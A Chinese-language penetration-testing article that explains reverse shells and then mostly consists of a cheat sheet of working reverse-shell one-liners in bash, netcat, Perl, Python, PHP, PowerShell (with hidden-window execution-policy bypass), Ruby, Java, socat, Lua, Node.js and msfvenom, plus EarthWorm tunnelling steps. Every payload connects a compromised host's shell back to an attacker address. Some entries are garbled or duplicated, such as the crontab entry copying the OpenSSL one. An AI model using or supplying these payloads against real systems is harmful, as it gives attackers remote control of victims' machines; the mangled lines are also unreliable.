什么是反彈shell
reverse shell(反彈shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

為什么要反彈shell
通常用于被控端因防火墻受限、權限不足、端口被占用等情形
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那么什么情況下正向連接不太好用了呢?
- 對方主機在局域網內,從外網無法直接訪問。
- 對方主機上存在WAF,對主動連接發來的請求數據檢測嚴格,而對向外發出的請求不進行檢測或檢測較少。
- 對方的ip會動態改變,你不能持續控制。
- 對方由于防火墻等限制,對方機器只能發送請求,不能接收請求。
- 對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。
那么反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。在滲透測試過程中,得到webshell后一般我們會反彈shell。
反彈shell原理
A主機開啟9090端口的tcp服務 B主機連接到A主機的9090的tcp服務 A主機通過tcp服務把命令發到B主機 B主機讀取命令并且在bash中執行 B主機把執行結果發給A主機 這樣就可以在A主機中'操控'B主機了
反彈shell操作步驟
在本機開啟并監聽端口 在需要被控制的機器上執行反彈shell命令 在本機監聽反彈shell的端口
反彈shell大全

Bash反彈shell
/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1
Bash反彈shell TCP
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196
Bash反彈shell UDP
Victim: sh -i >& /dev/udp/127.0.0.1/4242 0>&1 Listener: nc -u -lvp 4242
NC反彈shell
mknod backpipe p; nc 0/bin/ bash 1 >backpipe mkfifo /tmp/f;cat /tmp/f| /bin/ sh -i 2 >& 1 |nc x.x.x.x 12388 > /tmp/ f
perl反彈shell
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python反彈shell
Linux
// 方法一
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
// 方法二
$ export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Windows Python反彈shell
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Ncat反彈shell
ncat 127.0.0.1 4444 -e /bin/bash ncat --udp 127.0.0.1 4444 -e /bin/bash
OpenSSL反彈shell
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 or hacker@kali$ ncat --ssl -vv -l -p 4242 user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
crontab反彈shell
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 or hacker@kali$ ncat --ssl -vv -l -p 4242 user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
PHP反彈shell
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Powershell反彈shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Ruby反彈shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依賴于/bin/sh的反彈shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目標系統運行Windows反彈shell
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Java反彈shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
socat反彈shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555
Lua反彈shell
Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windowslua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Telnet反彈shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
獲取反彈shell后,可使用python獲得交互式shell
python -c'import pty; pty.spawn("/bin/bash")' python -c ''' import pty while(1): try: pty.spawn("/bin/bash") except : contiune'''
Nodejs反彈shell
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
C反彈shell
$ gcc c_revese_shell.c -o cshell $ ./cshell 192.168.1.128 8080
UDP反彈shell
// 注意這里務必要用udp的模式來接 $ nc -l -p 53 -u $ python udpshell.py 192.168.1.128 53 udp
MSF生成反彈shell
metasploit 是一個非常強大的滲透工具箱,當然也包括了反彈語句的生成與接收反彈shell的平臺。它也能生成反彈shell一句話。
msf > msfvenom -l payloads 'cmd/unix/reverse' | grep unix
msfvenom 有點類似于生成的語句,當然這個工具還可以用來生成shellcode之類的。-l 是查找所有的pyaloads。cmd/unix/reverse 是關鍵詞過濾。為了找到攻擊debain的語句,就加了個正則。
生成bash反彈shell
## 首先查看命令的參數 msf > msfvenom -p cmd/unix/reverse_netcat --list-options >> LPORT >> LHOST msfvenom -p cmd/unix/reverse_bash lhost=192.168.79.127 lport=5555
WIndows反彈shell補充
除了上面這些可以通用的語言反彈shell之外,可能最重要的就是powershell了,當然還有vbs(2003以下的系統),所以Windows反彈shell還是非常重要的技能。
// 可能是因為cmd默認的字符集[gbk]所以才會亂碼,如果是英文系統就不會了
$ powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}"
powercat反彈shell,其實就是powershell版的netcat
PS C:\> Set-ExecutionPolicy Unrestricted PS C:\> cd .\powercat PS C:\powercat> Import-Module .\powercat.ps1 PS C:\powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1 C:\>nc -lvp 8080
然后,把payload.ps1丟到目標機器上去執行
powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"
擴展
- https://github.com/lukechilds/reverse-shell
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
ew(Earthworm)網絡穿透工具反彈Shell
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透,亦可用于反彈Shell等。屬于Hacking Tools。
該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火墻松土。工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內
Earthworm下載
http://rootkiter.com/EarthWorm
Earthworm使用
上傳ew.exe 然后在本地執行:ew.exe -s rcsocks -l 1008 -e 888 說明:監聽888端口,把接收到的數據轉到本地的1008端口。
在目標上執行ew.exe -s rssocks -d 10.10.10.10 -e 888 說明:開啟sockes 并反彈到ip地址為10.10.10.10 端口為888 反彈代理成功以后,本地會出現rssocks cmd_socket ok!
現在打開我們的SocksCap64,新建一個代理。ip為127.0.0.1端口為1008,配置好了以后,點擊保存。現在我們把需要走代理的工具都放到SocksCap64里面。
系統安全運維
安全牛
系統安全運維
CNCERT國家工程研究中心
FreeBuf
系統安全運維
系統安全運維
LemonSec
LemonSec
LemonSec
合天網安實驗室
系統安全運維